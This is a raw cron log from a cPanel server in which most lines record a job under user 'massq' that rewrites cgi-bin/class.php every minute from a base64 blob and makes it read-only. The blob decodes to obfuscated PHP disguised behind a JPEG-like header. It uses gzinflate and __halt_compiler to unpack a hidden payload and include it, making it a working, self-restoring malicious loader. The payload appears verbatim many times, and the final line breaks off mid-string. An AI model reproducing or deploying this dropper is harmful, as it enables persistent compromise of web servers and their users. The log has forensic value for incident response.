Apr  6 05:56:01 server CROND[20137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:57:01 server CROND[20204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:57:01 server CROND[20205]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 05:58:01 server CROND[20280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 05:59:01 server CROND[20338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:00:01 server CROND[20402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 06:00:01 server CROND[20405]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 06:00:01 server CROND[20406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:00:01 server CROND[20408]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Apr  6 06:00:01 server CROND[20407]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:00:01 server CROND[20409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:01:01 server CROND[20643]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 06:01:01 server CROND[20644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:01:01 server run-parts(/etc/cron.hourly)[20643]: starting 0anacron
Apr  6 06:01:01 server run-parts(/etc/cron.hourly)[20657]: finished 0anacron
Apr  6 06:02:01 server CROND[20774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:03:01 server CROND[20852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:04:01 server CROND[20926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:05:01 server CROND[21017]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 06:05:01 server CROND[21018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 06:05:01 server CROND[21019]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 06:05:01 server CROND[21020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:06:01 server CROND[21175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:07:01 server CROND[21372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:08:01 server CROND[21430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 06:09:02 server CROND[21486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3